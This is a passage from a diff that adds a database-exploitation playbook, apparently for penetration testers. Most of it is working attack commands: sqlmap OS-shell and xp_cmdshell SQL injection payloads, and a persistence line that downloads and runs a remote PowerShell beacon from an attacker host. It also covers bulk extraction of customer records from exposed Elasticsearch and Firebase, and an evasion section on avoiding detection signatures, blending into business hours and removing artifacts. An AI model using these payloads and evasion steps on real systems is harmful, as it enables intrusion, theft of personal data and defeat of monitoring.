+ # Phase 4: Enable xp_cmdshell via SQLMap
1049
+ sqlmap -u "https://app.target.com/login" \
1050
+ --data="username=admin&password=test" \
1051
+ --os-shell --batch --dbms=mssql
1052
+
1053
+ # Phase 5: Manual xp_cmdshell if sqlmap fails
1054
+ # Payload: '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --
1055
+ # Then: '; EXEC xp_cmdshell 'whoami'; --
1056
+
1057
+ # Phase 6: Establish persistent access
1058
+ # Via sqlmap os-shell:
1059
+ # xp_cmdshell 'powershell -c "IEX(IWR http://LHOST/beacon.ps1)"'
1060
+ ```
1061
+
1062
+ ### Scenario 3: Cloud Misconfiguration — Firebase and Elasticsearch
1063
+
1064
+ **Context:** Target company has an exposed Firebase Realtime Database and an Elasticsearch instance visible from the internet (found via Shodan).
1065
+
1066
+ **Attack Chain:**
1067
+ ```bash
1068
+ # Phase 1: Shodan discovery (during OSINT)
1069
+ shodan search "port:9200 product:elasticsearch org:TARGET"
1070
+ shodan search "firebase.io hostname:target"
1071
+
1072
+ # Phase 2: Elasticsearch enumeration
1073
+ ES_HOST="1.2.3.4"
1074
+ curl -s "http://$ES_HOST:9200/_cat/indices?v" | column -t
1075
+
1076
+ # Identify juicy indices
1077
+ curl -s "http://$ES_HOST:9200/_cat/indices?v" | grep -iE "user|customer|order|payment|log|event"
1078
+
1079
+ # Extract 10,000 records for evidence
1080
+ curl -s "http://$ES_HOST:9200/customers/_search?size=10000" \
1081
+ -H "Content-Type: application/json" \
1082
+ -d '{"query": {"match_all": {}}, "_source": ["email","name","phone","address"]}' \
1083
+ | jq '.hits.hits[]._source' > $OUTDIR/customer-data.json
1084
+
1085
+ wc -l $OUTDIR/customer-data.json
1086
+ echo "[IMPACT] $(cat $OUTDIR/customer-data.json | jq '. | select(.email != null)' | wc -l) email addresses exposed"
1087
+
1088
+ # Phase 3: Firebase
1089
+ FIREBASE_PROJECT="target-app"
1090
+ curl -s "https://$FIREBASE_PROJECT.firebaseio.com/.json?shallow=true" | jq 'keys'
1091
+
1092
+ # Download sensitive collections
1093
+ for collection in users orders messages payments; do
1094
+ curl -s "https://$FIREBASE_PROJECT.firebaseio.com/$collection.json" \
1095
+ -o $OUTDIR/firebase-$collection.json
1096
+ count=$(cat $OUTDIR/firebase-$collection.json | jq 'length' 2>/dev/null || echo "N/A")
1097
+ echo "[+] $collection: $count records"
1098
+ done
1099
+
1100
+ # Phase 4: Document impact
1101
+ echo "=== IMPACT SUMMARY ===" > $OUTDIR/impact-report.txt
1102
+ echo "Elasticsearch: $(curl -s 'http://$ES_HOST:9200/_cat/count?v' | tail -1 | awk '{print $3}') total documents exposed" >> $OUTDIR/impact-report.txt
1103
+ echo "Firebase: $(cat $OUTDIR/firebase-users.json | python3 -c 'import json,sys; d=json.load(sys.stdin); print(len(d) if isinstance(d,dict) else 0)') user records exposed" >> $OUTDIR/impact-report.txt
1104
+ ```
1105
+
1106
+ ---
1107
+
1108
+ ## Detection and OPSEC Considerations
1109
+
1110
+ ### Detection Signatures to Avoid
1111
+
1112
+ ```
1113
+ # MySQL UDF - these generate audit log entries:
1114
+ CREATE FUNCTION
1115
+ LOAD_FILE
1116
+ INTO DUMPFILE/OUTFILE
1117
+ SELECT sys_exec/sys_eval
1118
+
1119
+ # MSSQL - monitored events:
1120
+ sp_configure 'xp_cmdshell'
1121
+ EXEC xp_cmdshell
1122
+ sp_add_job / sp_add_jobstep
1123
+
1124
+ # PostgreSQL - logged by default:
1125
+ COPY TO PROGRAM
1126
+ lo_import / lo_export
1127
+
1128
+ # Redis - monitored commands:
1129
+ CONFIG SET dir
1130
+ CONFIG SET dbfilename
1131
+ SLAVEOF
1132
+ MODULE LOAD
1133
+ ```
1134
+
1135
+ ### OPSEC Techniques
1136
+
1137
+ ```bash
1138
+ # 1. Throttle requests to avoid rate limiting and IDS alerts
1139
+ # Add delays between commands
1140
+ for query in "${queries[@]}"; do
1141
+ mysql -h $TARGET -u root -p -e "$query"
1142
+ sleep $((RANDOM % 5 + 2)) # 2-7 second random delay
1143
+ done
1144
+
1145
+ # 2. MySQL: Use existing functions rather than creating new ones
1146
+ # Check if UDF already exists
1147
+ mysql -h $TARGET -u root -p -e "SELECT name FROM mysql.func WHERE name='sys_eval';"
1148
+
1149
+ # 3. MSSQL: Use existing jobs instead of creating new ones
1150
+ sqlcmd -S $TARGET -U sa -P 'password' -Q "SELECT name FROM msdb.dbo.sysjobs"
1151
+
1152
+ # 4. Work during business hours to blend with normal DB activity
1153
+ # 5. Use legitimate DB accounts when found (avoids failed login alerts)
1154
+
1155
+ # 6. Limit data extraction volume
1156
+ # Extract a sample rather than full dump
1157
+ curl -s "http://$TARGET_IP:9200/INDEX/_search?size=10" # Not size=100000
1158
+
1159
+ # 7. Clean up artifacts after exploitation
1160
+ # Remove UDF functions
1161
+ mysql -h $TARGET -u root -p -e "DROP FUNCTION IF EXISTS sys_exec;"
1162
+ # Remove cron entries written via Redis
1163
+ redis-cli -h $TARGET del cronpayload
1164
+
1165
+ # 8. Use SSL/TLS connections where available (avoid cleartext on wire)
1166
+ mysql -h $TARGET -u root -p --ssl-mode=REQUIRED -e "SELECT 1;"
1167
+ psql "sslmode=require host=$TARGET user=postgres"
1168
+
1169
+ # 9. Elasticsearch - avoid bulk operations that generate large log entries
1170
+ # Use _search with small size instead of _bulk or scroll for initial recon
1171
+
1172
+ # 10. SQLMap evasion options
1173
+ sqlmap -u "TARGET" --tamper=space2comment,between,randomcase \
1174
+ --delay=2 --timeout=30 --retries=3 \
1175
+ --random-agent \
1176
+ --level=2 --risk=1 # Lower levels = less noise
1177
+ ```
1178
+
1179
+ ### Indicators of Compromise Generated
1180
+
1181
+ | Database | IOC Generated | Severity |
1182
+ |----------|--------------|----------|
1183
+ | MySQL | New entries in mysql.func table | High |
1184
+ | MySQL | Unusual LOAD_FILE / INTO OUTFILE queries | High |
1185
+ | PostgreSQL | COPY TO PROGRAM in pg_stat_activity | High |
1186
+ | MSSQL | xp_cmdshell configuration changes | Critical |
1187
+ | MSSQL | New SQL Agent jobs | High |
1188
+ | MongoDB | Authentication failures | Medium |
1189
+ | Redis | CONFIG SET commands in slowlog | High |
1190
+ | Elasticsearch | Unusual index access patterns | Low |
1191
+ | Firebase | Unusual geographic access patterns | Medium |
1192
+
1193
+ ---
1194
+
1195
+ ## Output and Documentation
1196
+
1197
+ ### Evidence Collection Template
1198
+
1199
+ ```bash
1200
+ #!/bin/bash
1201
+ # run at start of DB exploitation phase
1202
+
1203
+ mkdir -p $OUTDIR/{screenshots,raw-output,credentials,files}
1204
+
1205
+ # Log all commands with timestamps
1206
+ exec > >(tee -a $OUTDIR/session-$(date +%H%M%S).log)
1207
+ exec 2>&1
1208
+
1209
+ echo "[$(date -u)] Starting database exploitation phase"
1210
+ echo "Target: $TARGET_IP"
1211
+ echo "Operator: $USER"
1212
+ echo "=========================="
1213
+ ```
1214
+
1215
+ ### Required Documentation Per Finding
1216
+
1217
+ ```markdown
1218
+ ## Finding: [DB Type] - [Vulnerability Type]
1219
+
1220
+ **Severity:** Critical/High/Medium/Low
1221
+ **Target:** IP:PORT
1222
+ **Database:** DB_NAME
1223
+ **User:** DB_USERNAME
1224
+
1225
+ ### Evidence
1226
+ - Command executed: `[exact command]`
1227
+ - Output: [first 10 lines of output]
1228
+ - Screenshot: [path to screenshot]
1229
+
1230
+ ### Impact
1231
+ - Data exposed: [types and volume]
1232
+ - RCE achieved: Yes/No
1233
+ - Persistence established: Yes/No
1234
+ - Lateral movement possible: Yes/No
1235
+
1236
+ ### Affected Data
1237
+ - Record count: [N]
1238
+ - Data types: [PII/credentials/business data]
1239
+ - Sample (redacted): [REDACTED - see raw file]
1240
+
1241
+ ### Remediation
1242
+ 1. [Specific fix]
1243
+ 2. [Specific fix]
1244
+ ```
1245
+
1246
+ ### Automated Evidence Collection
1247
+
1248
+ ```bash
1249
+ # MySQL - collect evidence
1250
+ mysql -h $TARGET -u root -p << 'EOF' | tee $OUTDIR/mysql-evidence.txt
1251
+ SELECT @@version, @@version_compile_os, @@hostname;
1252
+ SELECT user, host, authentication_string FROM mysql.user;
1253
+ SHOW DATABASES;
1254
+ SELECT @@secure_file_priv, @@plugin_dir;
1255
+ SELECT name FROM mysql.func;
1256
+ EOF
1257
+
1258
+ # MSSQL - collect evidence
1259
+ sqlcmd -S $TARGET -U sa -P 'password' -Q "
1260
+ SELECT @@version;
1261
+ SELECT name, sysadmin, securityadmin FROM sys.syslogins;
1262
+ SELECT * FROM sys.configurations WHERE name IN ('xp_cmdshell','show advanced options');
1263
+ SELECT name FROM msdb.dbo.sysjobs;
1264
+ SELECT * FROM sys.servers WHERE is_linked=1;
1265
+ " -o $OUTDIR/mssql-evidence.txt
1266
+
1267
+ # Elasticsearch - collect evidence
1268
+ curl -s "http://$TARGET_IP:9200/_cluster/health" > $OUTDIR/es-health.json
1269
+ curl -s "http://$TARGET_IP:9200/_cat/indices?format=json" > $OUTDIR/es-indices.json
1270
+ curl -s "http://$TARGET_IP:9200/_nodes/stats" > $OUTDIR/es-nodes.json
1271
+
1272
+ # Redis - collect evidence
1273
+ {
1274
+ echo "=== Redis Server Info ==="
1275
+ redis-cli -h $TARGET_IP info server
1276
+ echo "=== Config ==="
1277
+ redis-cli -h $TARGET_IP config get dir
1278
+ redis-cli -h $TARGET_IP config get dbfilename
1279
+ redis-cli -h $TARGET_IP config get requirepass
1280
+ echo "=== Keys (first 100) ==="
1281
+ redis-cli -h $TARGET_IP keys '*' | head -100
1282
+ } > $OUTDIR/redis-evidence.txt
1283
+ ```
1284
+
1285
+ ---
1286
+
1287
+ ## Resources
1288
+
1289
+ ### Official Documentation and References
1290
+
1291
+ - MySQL UDF: https://dev.mysql.com/doc/extending-mysql/8.0/en/adding-loadable-function.html
1292
+ - PostgreSQL COPY: https://www.postgresql.org/docs/current/sql-copy.html
1293
+ - MSSQL xp_cmdshell: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql
1294
+ - MongoDB Security: https://www.mongodb.com/docs/manual/security/
1295
+
1296
+ ### Exploitation Tools and Resources
1297
+
1298
+ ```
1299
+ SQLMap: https://github.com/sqlmapproject/sqlmap
1300
+ PowerUpSQL: https://github.com/NetSPI/PowerUpSQL
1301
+ MySQL UDF lib: https://github.com/mysqludf/lib_mysqludf_sys
1302
+ NoSQLMap: https://github.com/codingo/NoSQLMap
1303
+ Redis Rogue Server: https://github.com/n0b0dyCN/redis-rogue-server
1304
+ Redis RCE: https://github.com/Ridter/redis-rce
1305
+ ElasticSearch Dump: https://github.com/elasticsearch-dump/elasticsearch-dump
1306
+ firebaseEnum: https://github.com/Brum3ns/firebaseEnum
1307
+ Impacket (MSSQL): https://github.com/SecureAuthCorp/impacket
1308
+ ```
1309
+
1310
+ ### Research and Write-ups
1311
+
1312
+ ```
1313
+ MySQL UDF RCE:
1314
+ https://infosecwriteups.com/privilege-escalation-in-mysql-from-sql-injection-to-rce-a0b31fc3a2d4
1315
+
1316
+ PostgreSQL COPY PROGRAM:
1317
+ https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767
1318
+
1319
+ MSSQL xp_cmdshell:
1320
+ https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server
1321
+
1322
+ MongoDB NoSQL Injection:
1323
+ https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
1324
+
1325
+ Redis Exploitation:
1326
+ https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
1327
+ https://github.com/vulhub/vulhub/tree/master/redis
1328
+
1329
+ Elasticsearch Security:
1330
+ https://www.elastic.co/guide/en/elasticsearch/reference/current/secure-cluster.html
1331
+
1332
+ Firebase Security Rules:
1333
+ https://firebase.google.com/docs/rules
1334
+ https://github.com/Brum3ns/firebaseEnum
1335
+ ```
1336
+
1337
+ ### HackTricks References (offline-friendly)
1338
+
1339
+ ```
1340
+ https://book.hacktricks.xyz/pentesting-web/sql-injection
1341
+ https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server
1342
+ https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
1343
+ https://book.hacktricks.xyz/network-services-pentesting/9200-pentesting-elasticsearch
1344
+ https://book.hacktricks.xyz/network-services-pentesting/27017-27018-mongodb
1345
+ ```
1346
+
1347
+ ### CVEs by Database
1348
+
1349
+ ```
1350
+ MySQL:
1351
+ CVE-2016-6662 - MySQL 5.x arbitrary file overwrite via my.cnf
1352
+ CVE-2016-6663 - MySQL race condition privilege escalation
1353
+
1354
+ PostgreSQL:
1355
+ CVE-2019-9193 - COPY TO/FROM PROGRAM available to superuser
1356
+ CVE-2016-5423 - Privilege escalation via nested CASE expressions
1357
+
1358
+ MSSQL:
1359
+ CVE-2012-0158 - Remote code execution
1360
+ CVE-2018-8273 - Buffer overflow in SQL Server
1361
+
1362
+ Elasticsearch:
1363
+ CVE-2014-3120 - Remote code execution via dynamic script evaluation
1364
+ CVE-2015-1427 - Groovy sandbox escape (Kibana RCE)
1365
+ CVE-2021-22145 - Memory disclosure
1366
+
1367
+ Redis:
1368
+ CVE-2022-0543 - Debian/Ubuntu Lua sandbox escape (RCE)
1369
+ CVE-2021-32761 - Integer overflow in GETDEL command
1370
+
1371
+ MongoDB:
1372
+ CVE-2013-1892 - Remote code execution via JavaScript
1373
+ CVE-2021-20331 - Exposure of sensitive information
1374
+ ```